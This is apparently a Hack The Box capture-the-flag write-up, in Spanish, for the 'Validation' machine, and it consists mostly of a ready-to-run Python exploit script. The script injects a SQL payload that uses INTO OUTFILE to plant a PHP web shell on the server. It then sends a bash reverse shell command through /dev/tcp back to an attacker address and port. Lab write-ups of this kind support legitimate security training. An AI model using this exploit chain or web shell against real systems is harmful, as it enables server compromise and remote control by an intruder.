// Exploits
HTB Writeup: Validation
◆
Exploits
Automatiza el ataque completo: inyecta el payload SQLi para escribir una Web Shell PHP en el servidor y lanza una reverse shell hacia el atacante. Requiere netcat escuchando en el puerto configurado.
#!/usr/bin/env python3
"""
Exploit para Hack The Box - Validation
Vulnerabilidad: SQL Injection a RCE (via INTO OUTFILE)
Autor: Ghostvyle
"""
import requests
import time
import signal
import sys
# Configuración Global
TARGET_URL = 'http://10.129.95.235'
ATTACKER_IP = '10.10.14.154' # TU IP DE TUN0
ATTACKER_PORT = 7777
def def_handler(sig, frame):
print("\n\n[!] Saliendo...\n")
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
def main():
print(f"[+] Apuntando a: {TARGET_URL}")
print(f"[+] Reverse Shell configurada hacia: {ATTACKER_IP}:{ATTACKER_PORT}")
# Payload SQL Injection:
# 1. Cierra la query original.
# 2. Usa UNION SELECT para inyectar código PHP.
# 3. Escribe el archivo en /var/www/html/shell.php usando INTO OUTFILE.
payload = f"Brazil' UNION SELECT \"<?php system($_REQUEST['cmd']); ?>\" INTO OUTFILE '/var/www/html/shell.php'-- -"
data_php = {
'username': 'exploiter',
'country': payload
}
print("[1] Enviando Payload SQL Injection para escribir Web Shell...")
try:
requests.post(TARGET_URL, data=data_php, timeout=5)
except requests.exceptions.RequestException as e:
print(f"[-] Error en la petición POST: {e}")
time.sleep(2)
# Trigger para asegurar la creación
print("[2] Verificando creación de archivo...")
requests.get(f'{TARGET_URL}/account.php')
print("[3] Ejecutando Reverse Shell...")
url_shell = f"{TARGET_URL}/shell.php"
rev_shell_cmd = f"bash -c 'bash -i >& /dev/tcp/{ATTACKER_IP}/{ATTACKER_PORT} 0>&1'"
try:
requests.post(url_shell, data={'cmd': rev_shell_cmd}, timeout=2)
except requests.exceptions.Timeout:
print("[+] Timeout recibido (¡Es buena señal! La shell probablemente se ha abierto).")
print("[*] Revisa tu listener de Netcat.")
except Exception as e:
print(f"[-] Error conectando a la shell: {e}")
if __name__ == "__main__":
main()